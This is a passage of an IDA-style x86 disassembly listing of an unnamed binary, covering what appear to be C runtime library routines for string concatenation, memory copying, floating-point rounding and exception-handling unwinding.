sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41CBAE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41CBBB
; ---------------------------------------------------------------------------
loc_41CBAE: ; CODE XREF: sub_41CB70+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj
mov eax, esi
pop esi
leave
retn
sub_41CB70 endp
; =============== S U B R O U T I N E =======================================
sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p
; sub_40B90E+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41CC74
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41CBEA
loc_41CBDB: ; CODE XREF: sub_41CBC0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41CC1B
test edi, 3
jnz short loc_41CBDB
loc_41CBEA: ; CODE XREF: sub_41CBC0+19j
; sub_41CBC0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41CBEA
mov eax, [edi-4]
test al, al
jz short loc_41CC28
test ah, ah
jz short loc_41CC23
test eax, 0FF0000h
jz short loc_41CC1E
test eax, 0FF000000h
jnz short loc_41CBEA
loc_41CC1B: ; CODE XREF: sub_41CBC0+20j
dec edi
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC1E: ; CODE XREF: sub_41CBC0+52j
sub edi, 2
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj
sub edi, 3
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC28: ; CODE XREF: sub_41CBC0+47j
sub edi, 4
loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj
; sub_41CBC0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
jmp short loc_41CC5C
; ---------------------------------------------------------------------------
loc_41CC40: ; CODE XREF: sub_41CBC0+75j
; sub_41CBC0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41CC7A
mov [edi], dl
inc edi
dec ecx
jz short loc_41CC70
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej
; sub_41CBC0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41CC70
loc_41CC63: ; CODE XREF: sub_41CBC0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41CC72
dec ecx
jnz short loc_41CC63
loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj
; sub_41CBC0+A1j
mov [edi], cl
loc_41CC72: ; CODE XREF: sub_41CBC0+ABj
pop ebx
pop esi
loc_41CC74: ; CODE XREF: sub_41CBC0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC7A: ; CODE XREF: sub_41CBC0+85j
; sub_41CBC0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC84: ; CODE XREF: sub_41CBC0+E4j
; sub_41CBC0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41CC5C
loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj
; sub_41CBC0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41CC84
test dl, dl
jz short loc_41CC7A
test dh, dh
jz short loc_41CCD8
test edx, 0FF0000h
jz short loc_41CCC8
test edx, 0FF000000h
jnz short loc_41CC84
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41CBC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCE3 proc near ; CODE XREF: ___:0040B062p
; sub_40C2AF+40p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41B9C0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420DB0
add esp, 10h
leave
retn
sub_41CCE3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p
; sub_40B13C+6Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CD40
cmp edi, eax
jb loc_41CEB8
loc_41CD40: ; CODE XREF: sub_41CD20+16j
test edi, 3
jnz short loc_41CD5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
loc_41CD5C: ; CODE XREF: sub_41CD20+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CD74
and eax, 3
add ecx, eax
jmp dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CD74: ; CODE XREF: sub_41CD20+46j
jmp dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD7C: ; CODE XREF: sub_41CD20+31j
; sub_41CD20+8Ej ...
jmp off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 0CDh, 41h, 0
dd offset loc_41CDBC
dd offset loc_41CDE0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CDBC: ; DATA XREF: sub_41CD20+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CDE0: ; DATA XREF: sub_41CD20+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr
dd offset loc_41CE4C
dd offset loc_41CE44
dd offset loc_41CE3C
dd offset loc_41CE34
dd offset loc_41CE2C
dd offset loc_41CE24
dd offset loc_41CE1C
; ---------------------------------------------------------------------------
loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20:off_41CDFCo
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r
; sub_41CD20+92r ...
dd offset loc_41CE80
dd offset loc_41CE8C
dd offset loc_41CEA0
; ---------------------------------------------------------------------------
loc_41CE78: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE80: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE8C: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CEA0: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CEEC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j
; sub_41CD20+208j ...
neg ecx
jmp off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CF04
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CF04: ; CODE XREF: sub_41CD20+1D6j
; DATA XREF: sub_41CD20+1DDr
jmp off_41D000[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
cmp bh, cl
inc ecx
add [eax-31h], ah
inc ecx
loc_41CF17: ; DATA XREF: sub_41CD20+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CFB4
dd offset loc_41CFBC
dd offset loc_41CFC4
dd offset loc_41CFCC
dd offset loc_41CFD4
dd offset loc_41CFDC
dd offset loc_41CFE4
off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------
loc_41CFB4: ; DATA XREF: sub_41CD20+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CFBC: ; DATA XREF: sub_41CD20+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CFC4: ; DATA XREF: sub_41CD20+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CFCC: ; DATA XREF: sub_41CD20+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CFD4: ; DATA XREF: sub_41CD20+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CFDC: ; DATA XREF: sub_41CD20+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CFE4: ; DATA XREF: sub_41CD20+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j
; DATA XREF: sub_41CD20:off_41CFB0o
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r
; sub_41CD20:loc_41CF04r ...
dd offset loc_41D018
dd offset loc_41D028
dd offset loc_41D03C
; ---------------------------------------------------------------------------
loc_41D010: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D018: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D028: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D03C: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CD20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D055(double)
sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE10
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D0DB
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D0BE
cmp eax, 2
jle short loc_41D0B0
cmp eax, 3
jnz short loc_41D0BE
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_421861
add esp, 10h
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0B0: ; CODE XREF: sub_41D055+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0BE: ; CODE XREF: sub_41D055+3Aj
; sub_41D055+44j
fld [ebp+arg_0]
fadd dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41D118
; ---------------------------------------------------------------------------
loc_41D0DB: ; CODE XREF: sub_41D055+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D0FE
loc_41D0F0: ; CODE XREF: sub_41D055+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0FE: ; CODE XREF: sub_41D055+99j
test bl, 20h
jnz short loc_41D0F0
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41D118: ; CODE XREF: sub_41D055+84j
call sub_4218B4
add esp, 1Ch
loc_41D120: ; CODE XREF: sub_41D055+59j
; sub_41D055+67j ...
pop esi
pop ebx
leave
retn
sub_41D055 endp
; =============== S U B R O U T I N E =======================================
sub_41D124 proc near ; CODE XREF: ___:0041C16Dp
; sub_422152+21p
; DATA XREF: ...
call sub_41D13C
call sub_422152
mov dword_4DBE30, eax
call sub_422102
fnclex
retn
sub_41D124 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41D13C proc near ; CODE XREF: sub_41D124p
mov eax, offset sub_422540
mov off_43D424, offset sub_4221D5
mov off_43D420, eax
mov off_43D428, offset sub_42223B
mov off_43D42C, offset sub_42217B
mov off_43D430, offset sub_422223
mov off_43D434, eax
retn
sub_41D13C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp
; sub_40D2F4+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41D174 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D19B(double)
sub_41D19B proc near ; CODE XREF: sub_40D340+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE28
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D221
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D204
cmp eax, 2
jle short loc_41D1F6
cmp eax, 3
jnz short loc_41D204
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_421861
add esp, 10h
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D204: ; CODE XREF: sub_41D19B+3Aj
; sub_41D19B+44j
fld [ebp+arg_0]
fadd dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41D25E
; ---------------------------------------------------------------------------
loc_41D221: ; CODE XREF: sub_41D19B+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D244
loc_41D236: ; CODE XREF: sub_41D19B+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D244: ; CODE XREF: sub_41D19B+99j
test bl, 20h
jnz short loc_41D236
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41D25E: ; CODE XREF: sub_41D19B+84j
call sub_4218B4
add esp, 1Ch
loc_41D266: ; CODE XREF: sub_41D19B+59j
; sub_41D19B+67j ...
pop esi
pop ebx
leave
retn
sub_41D19B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D26A proc near ; CODE XREF: ___:00422A22p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41D26A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41D29E proc near ; CODE XREF: sub_422B62+199p
; sub_422D26+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D29E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D2A5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp
; sub_4229B1:loc_4229E2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41D2D4
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_426356
sub_41D2AC endp
; ---------------------------------------------------------------------------
loc_41D2D4: ; DATA XREF: sub_41D2AC+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_41D2FB: ; CODE XREF: ___:00426AACj
; ___:00426AC9j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_4225B6
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D331 proc near ; CODE XREF: sub_422A2C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41D385
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422DB0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41D331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D385 proc near ; DATA XREF: sub_41D331+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
pop ebp
retn
sub_41D385 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41D45E
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41D430
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DBE70
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41D430: ; DATA XREF: sub_41D3AA+3Co
cmp [ebp+var_4], 0
jz short loc_41D44D
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41D456
; ---------------------------------------------------------------------------
loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41D456: ; CODE XREF: sub_41D3AA+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41D3AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41D481
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41D4CE
; ---------------------------------------------------------------------------
loc_41D481: ; CODE XREF: sub_41D45E+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41D4BF
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41D2AC
; ---------------------------------------------------------------------------
loc_41D4BF: ; CODE XREF: sub_41D45E+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41D4CE: ; CODE XREF: sub_41D45E+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D45E endp
